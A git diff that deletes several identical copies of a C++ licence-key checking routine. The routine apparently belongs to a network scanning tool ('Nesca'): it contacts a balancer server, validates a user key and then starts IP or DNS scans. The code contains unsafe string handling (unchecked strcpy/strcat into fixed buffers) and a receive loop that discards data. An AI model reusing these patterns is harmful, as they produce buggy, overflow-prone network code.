defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(ndbServer); - else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; -#else - if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ndbServer); - else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; -#endif - sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); - - int c = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); - if(c == SOCKET_ERROR) - { - stt->doEmitionRedFoundData("[Key check] -Connection timeout."); - CSSOCKET(sock); - return -1; - }; - c = send(sock, msg, strlen(msg), 0); - if(c == SOCKET_ERROR) - { - stt->doEmitionRedFoundData("[Key check] -Send error."); - CSSOCKET(sock); - return -1; - }; - ZeroMemory(msg, sizeof(msg)); - test = recv(sock, msg, 512, 0); - - if(strstr(msg, "202 Accepted") != NULL) - { - - stt->doEmitionGreenFoundData("[Key check] -OK. Key is valid!"); - - CSSOCKET(sock); - - if(emitIfOK == 0) stt->doEmitionStartScanIP(); - else if(emitIfOK == 1) stt->doEmitionStartScanDNS(); - else if(emitIfOK == 2) stt->doEmitionStartScanImport(); - return 1; - } - else if(strstr(msg, "400 Bad Request") != NULL) - { - - QString errorDef = GetNSErrorDefinition(msg, "notify"); - if(errorDef == "Invalid access key") stt->doEmitionYellowFoundData("[NS-Track] [Key is unauthorized] A valid key is required."); - else stt->doEmitionYellowFoundData("[NS-Track] -FAIL! [400 Bad Request : " + GetNSErrorDefinition(msg, "notify") + "]"); - - CSSOCKET(sock); - return -1; - } - else if(strstr(msg, "503 Bad Gateway") != NULL) - { - stt->doEmitionYellowFoundData("[NS-Track] 503 Backend not responding!"); - CSSOCKET(sock); - return -1; - } - else - { - - char header[64] = {0}; - getSubStrEx(msg, "http/1.1 ", "\r\n", header, 64); - stt->doEmitionYellowFoundData("[Key check] -FAIL! An error occured. (" + QString::number(WSAGetLastError()) + ") Header: " + QString::fromLocal8Bit(header) + ""); - if(gDebugMode) stt->doEmitionDebugFoundData(QString(msg)); - - CSSOCKET(sock); - return -1; - }; - - ZeroMemory(msg, sizeof(msg)); - CSSOCKET(sock); - } - else - { - - stt->doEmitionRedFoundData("[Key check] -Balancer replied with invalid string."); - if(gDebugMode) stt->doEmitionDebugFoundData(QString(msg)); - CSSOCKET(sock); - return -1; - - }; -}; - -void CheckKey_Th::run() -{ - KeyCheckerMain(); -}; diff --git a/CheckKey_Th.cpp.REMOTE.2427.cpp b/CheckKey_Th.cpp.REMOTE.2427.cpp deleted file mode 100644 index 901be01..0000000 --- a/CheckKey_Th.cpp.REMOTE.2427.cpp +++ /dev/null @@ -1,270 +0,0 @@ -#pragma once -#include "CheckKey_Th.h" -#include "CheckProxy_Th.h" -#include "STh.h" -#include "externData.h" -#include "externFunctions.h" - -void getSubStrEx(char *src, char *startStr, char *endStr, char *dest, int szDest) -{ - ZeroMemory(dest, szDest); - char *ptr1 = strstri(src, startStr); - if(ptr1 != NULL) - { - char *ptr2 = strstri(ptr1, endStr); - if(ptr2 != NULL) - { - int szStartStr = strlen(startStr); - int sz = ptr2 - ptr1 - szStartStr; - strncpy(dest, ptr1 + szStartStr, sz < szDest ? sz : szDest); - }; - }; -} -void getSubStr(char *src, char *startStr, char *endStr, char *dest, int szDest) -{ - ZeroMemory(dest, szDest); - char *ptr1 = strstri(src, startStr); - if(ptr1 != NULL) - { - char *ptr2 = strstri(ptr1, endStr); - if(ptr2 != NULL) - { - int sz = ptr2 - ptr1; - strncpy(dest, ptr1, sz < szDest ? sz : szDest); - }; - }; -} -int emitIfOK = -1; -int KeyCheckerMain() -{ - int kLen = strlen(trcPersKey); - if(kLen == 0) - { - stt->doEmitionRedFoundData("[Key check] Key field is empty."); - return -1; - } - else if(kLen < 32) - { - stt->doEmitionRedFoundData("[Key check] Key length is not valid."); - return -1; - }; - char msg[1024] = {0}; - char ndbServer[64] = {0}; - char ndbScript[64] = {0}; - - sockaddr_in sockAddr; - sockAddr.sin_family = AF_INET; - sockAddr.sin_port = htons(atoi(trcSrvPortLine)); - - strcpy(msg, "GET "); - strcat(msg, "/"); - strcat(msg, trcScr); - strcat(msg, " HTTP/1.0\r\nHost: "); - strcat(msg, trcSrv); - strcat(msg, "\r\nX-Nescav3: True"); - strcat(msg, "\r\nConnection: close"); - strcat(msg, "\r\n\r\n"); - - HOSTENT *host; - -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(trcSrv); - else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; -#else - if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(trcSrv); - else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; -#endif - SOCKET sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); - - stt->doEmitionYellowFoundData("[Key check] Requesting server ip..."); - int test = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); - if(test == -1) - { - stt->doEmitionRedFoundData("[Key check] -connect() returned. Cannot connect to balancer! " + QString::number(WSAGetLastError()) + "."); - CSSOCKET(sock); - return -1; - }; - - test = send(sock, msg, strlen(msg), 0); - - if(test == -1) - { - stt->doEmitionRedFoundData("[Key check] -send() returned. Cannot send to balancer! " + QString::number(WSAGetLastError()) + "."); - CSSOCKET(sock); - - return -1; - }; - - ZeroMemory(msg, sizeof(msg)); - int ror = sizeof(msg); - - test = recv(sock, msg, sizeof(msg), 0); - char buff[512] = {0}; - while((test = recv(sock, msg, sizeof(msg), 0)) != 0) - { - strcat(msg, buff); - }; - - if(test == -1) - { - stt->doEmitionRedFoundData("[Key check] -recv() returned. Cannot recv from balancer! " + QString::number(WSAGetLastError()) + "."); - CSSOCKET(sock); - - return -1; - }; - - char *t1; - char *t2; - if(strstr(msg, "http://") != NULL) - { - t1 = strstr(msg, "http://"); - if(strstr((char*)(t1 + strlen("http://")), "/") != NULL) - { - t2 = strstr((char*)(t1 + strlen("http://")), "/"); - int ln = t2 - t1 - strlen("http://"); - if(ln > 64) - { - stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); - CSSOCKET(sock); - - return -1; - } - else strncpy(ndbServer, (char*)(t1 + strlen("http://")), ln); - - - if(strlen(t2) > 64) - { - stt->doEmitionYellowFoundData("[Key check] -Fragmentation detected!"); - if(strstr(t2, "\r\n") != NULL) - { - char *t3 = strstr(t2, "\r\n"); - int y = (int)(t3 - t2); - - if(y > 64) - { - stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); - CSSOCKET(sock); - - return -1; - } - else - { - strncpy(ndbScript, t2, y); - }; - } - else - { - stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); - CSSOCKET(sock); - - return -1; - }; - } else strcpy(ndbScript, t2); - } - else - { - stt->doEmitionRedFoundData("[Key check] -Cannot receive script value!"); - CSSOCKET(sock); - - return -1; - }; - - ZeroMemory(msg, sizeof(msg)); - - stt->doEmitionGreenFoundData("[Key check] -OK. -Server string aquired! Checking key..."); - CSSOCKET(sock); - - sockAddr.sin_family = AF_INET; - sockAddr.sin_port = htons(atoi(trcSrvPortLine)); - strcpy(msg, "GET "); - strcat(msg, "/api/checkaccount?key="); - strncat(msg, trcPersKey, 32); - strcat(msg, " HTTP/1.0\r\nHost: "); - strcat(msg, ndbServer); - strcat(msg, "\r\nConnection: close"); - strcat(msg, "\r\n\r\n"); - -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(ndbServer); - else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; -#else - if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ndbServer); - else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; -#endif - sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); - - int c = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); - if(c == SOCKET_ERROR) - { - stt->doEmitionRedFoundData("[Key check] -Connection timeout."); - CSSOCKET(sock); - return -1; - }; - c = send(sock, msg, strlen(msg), 0); - if(c == SOCKET_ERROR) - { - stt->doEmitionRedFoundData("[Key check] -Send error."); - CSSOCKET(sock); - return -1; - }; - ZeroMemory(msg, sizeof(msg)); - test = recv(sock, msg, 512, 0); - - if(strstr(msg, "202 Accepted") != NULL) - { -#pragma region QTGUI_Area - stt->doEmitionGreenFoundData("[Key check] -OK. Key is valid!"); -#pragma endregion - CSSOCKET(sock); - - if(emitIfOK == 0) stt->doEmitionStartScanIP(); - else if(emitIfOK == 1) stt->doEmitionStartScanDNS(); - else if(emitIfOK == 2) stt->doEmitionStartScanImport(); - return 1; - } - else if(strstr(msg, "400 Bad Request") != NULL) - { -#pragma region QTGUI_Area - QString errorDef = GetNSErrorDefinition(msg, "notify"); - if(errorDef == "Invalid access key") stt->doEmitionYellowFoundData("[NS-Track] [Key is unauthorized] A valid key is required."); - else stt->doEmitionYellowFoundData("[NS-Track] -FAIL! [400 Bad Request : " + GetNSErrorDefinition(msg, "notify") + "]"); -#pragma endregion - CSSOCKET(sock); - return -1; - } - else if(strstr(msg, "503 Bad Gateway") != NULL) - { - stt->doEmitionYellowFoundData("[NS-Track] 503 Backend not responding!"); - CSSOCKET(sock); - return -1; - } - else - { -#pragma region QTGUI_Area - char header[64] = {0}; - getSubStrEx(msg, "http/1.1 ", "\r\n", header, 64); - stt->doEmitionYellowFoundData("[Key check] -FAIL! An error occured. (" + QString::number(WSAGetLastError()) + ") Header: " + QString::fromLocal8Bit(header) + ""); - if(gDebugMode) stt->doEmitionDebugFoundData(QString(msg)); -#pragma endregion - CSSOCKET(sock); - return -1; - }; - - ZeroMemory(msg, sizeof(msg)); - CSSOCKET(sock); - } - else - { -#pragma region QTGUI_Area - stt->doEmitionRedFoundData("[Key check] -Balancer replied with invalid string."); - if(gDebugMode) stt->doEmitionDebugFoundData(QString(msg)); - CSSOCKET(sock); - return -1; -#pragma endregion - }; -}; - -void CheckKey_Th::run() -{ - KeyCheckerMain(); -}; diff --git a/CheckKey_Th.cpp.REMOTE.2593.cpp b/CheckKey_Th.cpp.REMOTE.2593.cpp deleted file mode 100644 index 901be01..0000000 --- a/CheckKey_Th.cpp.REMOTE.2593.cpp +++ /dev/null @@ -1,270 +0,0 @@ -#pragma once -#include "CheckKey_Th.h" -#include "CheckProxy_Th.h" -#include "STh.h" -#include "externData.h" -#include "externFunctions.h" - -void getSubStrEx(char *src, char *startStr, char *endStr, char *dest, int szDest) -{ - ZeroMemory(dest, szDest); - char *ptr1 = strstri(src, startStr); - if(ptr1 != NULL) - { - char *ptr2 = strstri(ptr1, endStr); - if(ptr2 != NULL) - { - int szStartStr = strlen(startStr); - int sz = ptr2 - ptr1 - szStartStr; - strncpy(dest, ptr1 + szStartStr, sz < szDest ? sz : szDest); - }; - }; -} -void getSubStr(char *src, char *startStr, char *endStr, char *dest, int szDest) -{ - ZeroMemory(dest, szDest); - char *ptr1 = strstri(src, startStr); - if(ptr1 != NULL) - { - char *ptr2 = strstri(ptr1, endStr); - if(ptr2 != NULL) - { - int sz = ptr2 - ptr1; - strncpy(dest, ptr1, sz < szDest ? sz : szDest); - }; - }; -} -int emitIfOK = -1; -int KeyCheckerMain() -{ - int kLen = strlen(trcPersKey); - if(kLen == 0) - { - stt->doEmitionRedFoundData("[Key check] Key field is empty."); - return -1; - } - else if(kLen < 32) - { - stt->doEmitionRedFoundData("[Key check] Key length is not valid."); - return -1; - }; - char msg[1024] = {0}; - char ndbServer[64] = {0}; - char ndbScript[64] = {0}; - - sockaddr_in sockAddr; - sockAddr.sin_family = AF_INET; - sockAddr.sin_port = htons(atoi(trcSrvPortLine)); - - strcpy(msg, "GET "); - strcat(msg, "/"); - strcat(msg, trcScr); - strcat(msg, " HTTP/1.0\r\nHost: "); - strcat(msg, trcSrv); - strcat(msg, "\r\nX-Nescav3: True"); - strcat(msg, "\r\nConnection: close"); - strcat(msg, "\r\n\r\n"); - - HOSTENT *host; - -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(trcSrv); - else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; -#else - if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(trcSrv); - else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; -#endif - SOCKET sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); - - stt->doEmitionYellowFoundData("[Key check] Requesting server ip..."); - int test = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); - if(test == -1) - { - stt->doEmitionRedFoundData("[Key check] -connect() returned. Cannot connect to balancer! " + QString::number(WSAGetLastError()) + "."); - CSSOCKET(sock); - return -1; - }; - - test = send(sock, msg, strlen(msg), 0); - - if(test == -1) - { - stt->doEmitionRedFoundData("[Key check] -send() returned. Cannot send to balancer! " + QString::number(WSAGetLastError()) + "."); - CSSOCKET(sock); - - return -1; - }; - - ZeroMemory(msg, sizeof(msg)); - int ror = sizeof(msg); - - test = recv(sock, msg, sizeof(msg), 0); - char buff[512] = {0}; - while((test = recv(sock, msg, sizeof(msg), 0)) != 0) - { - strcat(msg, buff); - }; - - if(test == -1) - { - stt->doEmitionRedFoundData("[Key check] -recv() returned. Cannot recv from balancer! " + QString::number(WSAGetLastError()) + "."); - CSSOCKET(sock); - - return -1; - }; - - char *t1; - char *t2; - if(strstr(msg, "http://") != NULL) - { - t1 = strstr(msg, "http://"); - if(strstr((char*)(t1 + strlen("http://")), "/") != NULL) - { - t2 = strstr((char*)(t1 + strlen("http://")), "/"); - int ln = t2 - t1 - strlen("http://"); - if(ln > 64) - { - stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); - CSSOCKET(sock); - - return -1; - } - else strncpy(ndbServer, (char*)(t1 + strlen("http://")), ln); - - - if(strlen(t2) > 64) - { - stt->doEmitionYellowFoundData("[Key check] -Fragmentation detected!"); - if(strstr(t2, "\r\n") != NULL) - { - char *t3 = strstr(t2, "\r\n"); - int y = (int)(t3 - t2); - - if(y > 64) - { - stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); - CSSOCKET(sock); - - return -1; - } - else - { - strncpy(ndbScript, t2, y); - }; - } - else - { - stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); - CSSOCKET(sock); - - return -1; - }; - } else strcpy(ndbScript, t2); - } - else - { - stt->doEmitionRedFoundData("[Key check] -Cannot receive script value!"); - CSSOCKET(sock); - - return -1; - }; - - ZeroMemory(msg, sizeof(msg)); - - stt->doEmitionGreenFoundData("[Key check] -OK. -Server string aquired! Checking key..."); - CSSOCKET(sock); - - sockAddr.sin_family = AF_INET; - sockAddr.sin_port = htons(atoi(trcSrvPortLine)); - strcpy(msg, "GET "); - strcat(msg, "/api/checkaccount?key="); - strncat(msg, trcPersKey, 32); - strcat(msg, " HTTP/1.0\r\nHost: "); - strcat(msg, ndbServer); - strcat(msg, "\r\nConnection: close"); - strcat(msg, "\r\n\r\n"); - -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(ndbServer); - else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; -#else - if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ndbServer); - else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; -#endif - sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); - - int c = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); - if(c == SOCKET_ERROR) - { - stt->doEmitionRedFoundData("[Key check] -Connection timeout."); - CSSOCKET(sock); - return -1; - }; - c = send(sock, msg, strlen(msg), 0); - if(c == SOCKET_ERROR) - { - stt->doEmitionRedFoundData("[Key check] -Send error."); - CSSOCKET(sock); - return -1; - }; - ZeroMemory(msg, sizeof(msg)); - test = recv(sock, msg, 512, 0); - - if(strstr(msg, "202 Accepted") != NULL) - { -#pragma region QTGUI_Area - stt->doEmitionGreenFoundData("[Key check] -OK. Key is valid!"); -#pragma endregion - CSSOCKET(sock); - - if(emitIfOK == 0) stt->doEmitionStartScanIP(); - else if(emitIfOK == 1) stt->doEmitionStartScanDNS(); - else if(emitIfOK == 2) stt->doEmitionStartScanImport(); - return 1; - } - else if(strstr(msg, "400 Bad Request") != NULL) - { -#pragma region QTGUI_Area - QString errorDef = GetNSErrorDefinition(msg, "notify"); - if(errorDef == "Invalid access key") stt->doEmitionYellowFoundData("[NS-Track] [Key is unauthorized] A valid key is required."); - else stt->doEmitionYellowFoundData("[NS-Track] -FAIL! [400 Bad Request : " + GetNSErrorDefinition(msg, "notify") + "]"); -#pragma endregion - CSSOCKET(sock); - return -1; - } - else if(strstr(msg, "503 Bad Gateway") != NULL) - { - stt->doEmitionYellowFoundData("[NS-Track] 503 Backend not responding!"); - CSSOCKET(sock); - return -1; - } - else - { -#pragma region QTGUI_Area - char header[64] = {0}; - getSubStrEx(msg, "http/1.1 ", "\r\n", header, 64); - stt->doEmitionYellowFoundData("[Key check] -FAIL! An error occured. (" + QString::number(WSAGetLastError()) + ") Header: " + QString::fromLocal8Bit(header) + ""); - if(gDebugMode) stt->doEmitionDebugFoundData(QString(msg)); -#pragma endregion - CSSOCKET(sock); - return -1; - }; - - ZeroMemory(msg, sizeof(msg)); - CSSOCKET(sock); - } - else - { -#pragma region QTGUI_Area - stt->doEmitionRedFoundData("[Key check] -Balancer replied with invalid string."); - if(gDebugMode) stt->doEmitionDebugFoundData(QString(msg)); - CSSOCKET(sock); - return -1; -#pragma endregion - }; -}; - -void CheckKey_Th::run() -{ - KeyCheckerMain(); -}; diff --git a/CheckKey_Th.cpp.REMOTE.2715.cpp b/CheckKey_Th.cpp.REMOTE.2715.cpp deleted file mode 100644 index 901be01..0000000 --- a/CheckKey_Th.cpp.REMOTE.2715.cpp +++ /dev/null @@ -1,270 +0,0 @@ -#pragma once -#include "CheckKey_Th.h" -#include "CheckProxy_Th.h" -#include "STh.h" -#include "externData.h" -#include "externFunctions.h" - -void getSubStrEx(char *src, char *startStr, char *endStr, char *dest, int szDest) -{ - ZeroMemory(dest, szDest); - char *ptr1 = strstri(src, startStr); - if(ptr1 != NULL) - { - char *ptr2 = strstri(ptr1, endStr); - if(ptr2 != NULL) - { - int szStartStr = strlen(startStr); - int sz = ptr2 - ptr1 - szStartStr; - strncpy(dest, ptr1 + szStartStr, sz < szDest ? sz : szDest); - }; - }; -} -void getSubStr(char *src, char *startStr, char *endStr, char *dest, int szDest) -{ - ZeroMemory(dest, szDest); - char *ptr1 = strstri(src, startStr); - if(ptr1 != NULL) - { - char *ptr2 = strstri(ptr1, endStr); - if(ptr2 != NULL) - { - int sz = ptr2 - ptr1; - strncpy(dest, ptr1, sz < szDest ? sz : szDest); - }; - }; -} -int emitIfOK = -1; -int KeyCheckerMain() -{ - int kLen = strlen(trcPersKey); - if(kLen == 0) - { - stt->doEmitionRedFoundData("[Key check] Key field is empty."); - return -1; - } - else if(kLen < 32) - { - stt->doEmitionRedFoundData("[Key check] Key length is not valid."); - return -1; - }; - char msg[1024] = {0}; - char ndbServer[64] = {0}; - char ndbScript[64] = {0}; - - sockaddr_in sockAddr; - sockAddr.sin_family = AF_INET; - sockAddr.sin_port = htons(atoi(trcSrvPortLine)); - - strcpy(msg, "GET "); - strcat(msg, "/"); - strcat(msg, trcScr); - strcat(msg, " HTTP/1.0\r\nHost: "); - strcat(msg, trcSrv); - strcat(msg, "\r\nX-Nescav3: True"); - strcat(msg, "\r\nConnection: close"); - strcat(msg, "\r\n\r\n"); - - HOSTENT *host; - -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(trcSrv); - else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; -#else - if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(trcSrv); - else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; -#endif - SOCKET sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); - - stt->doEmitionYellowFoundData("[Key check] Requesting server ip..."); - int test = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); - if(test == -1) - { - stt->doEmitionRedFoundData("[Key check] -connect() returned. Cannot connect to balancer! " + QString::number(WSAGetLastError()) + "."); - CSSOCKET(sock); - return -1; - }; - - test = send(sock, msg, strlen(msg), 0); - - if(test == -1) - { - stt->doEmitionRedFoundData("[Key check] -send() returned. Cannot send to balancer! " + QString::number(WSAGetLastError()) + "."); - CSSOCKET(sock); - - return -1; - }; - - ZeroMemory(msg, sizeof(msg)); - int ror = sizeof(msg); - - test = recv(sock, msg, sizeof(msg), 0); - char buff[512] = {0}; - while((test = recv(sock, msg, sizeof(msg), 0)) != 0) - { - strcat(msg, buff); - }; - - if(test == -1) - { - stt->doEmitionRedFoundData("[Key check] -recv() returned. Cannot recv from balancer! " + QString::number(WSAGetLastError()) + "."); - CSSOCKET(sock); - - return -1; - }; - - char *t1; - char *t2; - if(strstr(msg, "http://") != NULL) - { - t1 = strstr(msg, "http://"); - if(strstr((char*)(t1 + strlen("http://")), "/") != NULL) - { - t2 = strstr((char*)(t1 + strlen("http://")), "/"); - int ln = t2 - t1 - strlen("http://"); - if(ln > 64) - { - stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); - CSSOCKET(sock); - - return -1; - } - else strncpy(ndbServer, (char*)(t1 + strlen("http://")), ln); - - - if(strlen(t2) > 64) - { - stt->doEmitionYellowFoundData("[Key check] -Fragmentation detected!"); - if(strstr(t2, "\r\n") != NULL) - { - char *t3 = strstr(t2, "\r\n"); - int y = (int)(t3 - t2); - - if(y > 64) - { - stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); - CSSOCKET(sock); - - return -1; - } - else - { - strncpy(ndbScript, t2, y); - }; - } - else - { - stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); - CSSOCKET(sock); - - return -1; - }; - } else strcpy(ndbScript, t2); - } - else - { - stt->doEmitionRedFoundData("[Key check] -Cannot receive script value!"); - CSSOCKET(sock); - - return -1; - }; - - ZeroMemory(msg, sizeof(msg)); - - stt->doEmitionGreenFoundData("[Key check] -OK. -Server string aquired! Checking key..."); - CSSOCKET(sock); - - sockAddr.sin_family = AF_INET; - sockAddr.sin_port = htons(atoi(trcSrvPortLine)); - strcpy(msg, "GET "); - strcat(msg, "/api/checkaccount?key="); - strncat(msg, trcPersKey, 32); - strcat(msg, " HTTP/1.0\r\nHost: "); - strcat(msg, ndbServer); - strcat(msg, "\r\nConnection: close"); - strcat(msg, "\r\n\r\n"); - -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(ndbServer); - else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; -#else - if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ndbServer); - else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; -#endif - sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); - - int c = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); - if(c == SOCKET_ERROR) - { - stt->doEmitionRedFoundData("[Key check] -Connection timeout."); - CSSOCKET(sock); - return -1; - }; - c = send(sock, msg, strlen(msg), 0); - if(c == SOCKET_ERROR) - { - stt->doEmitionRedFoundData("[Key check] -Send error."); - CSSOCKET(sock); - return -1; - }; - ZeroMemory(msg, sizeof(msg)); - test = recv(sock, msg, 512, 0); - - if(strstr(msg, "202 Accepted") != NULL) - { -#pragma region QTGUI_Area - stt->doEmitionGreenFoundData("[Key check] -OK. Key is valid!"); -#pragma endregion - CSSOCKET(sock); - - if(emitIfOK == 0) stt->doEmitionStartScanIP(); - else if(emitIfOK == 1) stt->doEmitionStartScanDNS(); - else if(emitIfOK == 2) stt->doEmitionStartScanImport(); - return 1; - } - else if(strstr(msg, "400 Bad Request") != NULL) - { -#pragma region QTGUI_Area - QString errorDef = GetNSErrorDefinition(msg, "notify"); - if(errorDef == "Invalid access key") stt->doEmitionYellowFoundData("[NS-Track] [Key is unauthorized] A valid key is required."); - else stt->doEmitionYellowFoundData("[NS-Track] -FAIL! [400 Bad Request : " + GetNSErrorDefinition(msg, "notify") + "]"); -#pragma endregion - CSSOCKET(sock); - return -1; - } - else if(strstr(msg, "503 Bad Gateway") != NULL) - { - stt->doEmitionYellowFoundData("[NS-Track] 503 Backend not responding!"); - CSSOCKET(sock); - return -1; - } - else - { -#pragma region QTGUI_Area - char header[64] = {0}; - getSubStrEx(msg, "http/1.1 ", "\r\n", header, 64); - stt->doEmitionYellowFoundData("[Key check] -FAIL! An error occured. (" + QString::number(WSAGetLastError()) + ") Header: " + QString::fromLocal8Bit(header) + ""); - if(gDebugMode) stt->doEmitionDebugFoundData(QString(msg)); -#pragma endregion - CSSOCKET(sock); - return -1; - }; - - ZeroMemory(msg, sizeof(msg)); - CSSOCKET(sock); - } - else - { -#pragma region QTGUI_Area - stt->doEmitionRedFoundData("[Key check] -Balancer replied with invalid string."); - if(gDebugMode) stt->doEmitionDebugFoundData(QString(msg)); - CSSOCKET(sock); - return -1; -#pragma endregion - }; -}; - -void CheckKey_Th::run() -{ - KeyCheckerMain(); -}; diff --git a/CheckKey_Th.cpp.REMOTE.2915.cpp b/CheckKey_Th.cpp.REMOTE.2915.cpp deleted file mode 100644 index 901be01..0000000 --- a/CheckKey_Th.cpp.REMOTE.2915.cpp +++ /dev/null @@ -1,270 +0,0 @@ -#pragma once -#include "CheckKey_Th.h" -#include "CheckProxy_Th.h" -#include "STh.h" -#include "externData.h" -#include "externFunctions.h" - -void getSubStrEx(char *src, char *startStr, char *endStr, char *dest, int szDest) -{ - ZeroMemory(dest, szDest); - char *ptr1 = strstri(src, startStr); - if(ptr1 != NULL) - { - char *ptr2 = strstri(ptr1, endStr); - if(ptr2 != NULL) - { - int szStartStr = strlen(startStr); - int sz = ptr2 - ptr1 - szStartStr; - strncpy(dest, ptr1 + szStartStr, sz < szDest ? sz : szDest); - }; - }; -} -void getSubStr(char *src, char *startStr, char *endStr, char *dest, int szDest) -{ - ZeroMemory(dest, szDest); - char *ptr1 = strstri(src, startStr); - if(ptr1 != NULL) - { - char *ptr2 = strstri(ptr1, endStr); - if(ptr2 != NULL) - { - int sz = ptr2 - ptr1; - strncpy(dest, ptr1, sz < szDest ? sz : szDest); - }; - }; -} -int emitIfOK = -1; -int KeyCheckerMain() -{ - int kLen = strlen(trcPersKey); - if(kLen == 0) - { - stt->doEmitionRedFoundData("[Key check] Key field is empty."); - return -1; - } - else if(kLen < 32) - { - stt->doEmitionRedFoundData("[Key check] Key length is not valid."); - return -1; - }; - char msg[1024] = {0}; - char ndbServer[64] = {0}; - char ndbScript[64] = {0}; - - sockaddr_in sockAddr; - sockAddr.sin_family = AF_INET; - sockAddr.sin_port = htons(atoi(trcSrvPortLine)); - - strcpy(msg, "GET "); - strcat(msg, "/"); - strcat(msg, trcScr); - strcat(msg, " HTTP/1.0\r\nHost: "); - strcat(msg, trcSrv); - strcat(msg, "\r\nX-Nescav3: True"); - strcat(msg, "\r\nConnection: close"); - strcat(msg, "\r\n\r\n"); - - HOSTENT *host; - -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(trcSrv); - else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; -#else - if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(trcSrv); - else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; -#endif - SOCKET sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); - - stt->doEmitionYellowFoundData("[Key check] Requesting server 